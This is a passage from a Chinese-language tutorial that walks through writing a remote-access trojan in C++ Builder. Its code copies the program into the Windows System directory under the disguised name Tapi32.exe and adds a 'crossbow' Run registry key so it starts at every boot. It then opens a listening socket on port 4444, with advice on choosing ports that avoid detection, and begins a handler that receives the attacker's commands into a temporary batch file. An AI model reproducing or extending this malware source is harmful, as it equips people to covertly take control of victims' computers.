{　
char TempPath[MAX_PATH];
//定义一个变量
GetSystemDirectory（TempPath ,MAX_PATH）;
//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小，得到目标机的System目录路径
SystemPath=AnsiString（TempPath）;
//格式化TempPath字符串，使之成为能供编译器使用的样式
CopyFile（ParamStr（0）.c_str（）, AnsiString（SystemPath+"\\Tapi32.exe"）.c_str（） ,FALSE）;
//将自己拷贝到%System%目录下，并改名为Tapi32.exe，伪装起来
Registry=new TRegistry;
//定义一个TRegistry对象，准备修改注册表，这一步必不可少
Registry->RootKey=HKEY_LOCAL_MACHINE;
//设置主键为HKEY_LOCAL_MACHINE
Registry->OpenKey（"Software\\Microsoft\\Windows\\
CurrentVersion\\Run",TRUE）;
//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run，如果不存在，就创建之
try
　 {
　　 //如果以下语句发生异常，跳至catch，以避免程序崩溃
　　 if（Registry->ReadString（"crossbow"）!=SystemPath+"\\Tapi32.exe"）
　　　 Registry->WriteString（"crossbow",SystemPath+"\\Tapi32.exe"）;
　　　 //查找是否有“crossbow”字样的键值，并且是否为拷贝的目录%System%+Tapi32.exe
　　　 //如果不是，就写入以上键值和内容
　 }
catch（...）
　 {
　 //如果有错误，什么也不做
　 }
}

　　好，FormCreate过程完成了，这样每次启动都可以自动加载Tapi32.exe，并且在“关闭程序”对话框中看不见本进程了，木马的雏形初现。

　　接着选中ServerSocket控件，在左边的Object Inspector中将Active改为true，这样程序一启动就打开特定端口，处于服务器工作状态。再将Port填入4444，这是木马的端口号，当然你也可以用别的。但是你要注意不要用1024以下的低端端口，因为这样不但可能会与基本网络协议使用的端口相冲突，而且很容易被发觉，因此尽量使用1024以上的高端端口（不过也有这样一种技术，它故意使用特定端口，因为如果引起冲突，Windows也不会报错 ^_^）。你可以看一看TNMFTP控件使用的端口，是21号端口，这是FTP协议的专用控制端口（FTP Control Port）；同理TNMSMTP的25号端口也是SMTP协议的专用端口。

　　再选中ServerSocket控件，点击Events页，双击OnClientRead事件，敲入以下代码：

{
　 FILE *fp=NULL;
　 char * content;
　 int times_of_try;
　 char TempFile[MAX_PATH];
　 //定义了一堆待会儿要用到的变量
　 sprintf（TempFile, "%s", AnsiString（SystemPath+AnsiString（"\\Win369.BAT"））.c_str（））;
　 //在%System%下建立一个文本文件Win369.bat，作为临时文件使用
　 AnsiString temp=Socket->ReceiveText（）;
　 //接收客户端（攻击者，也就是你自己）传来的数据
}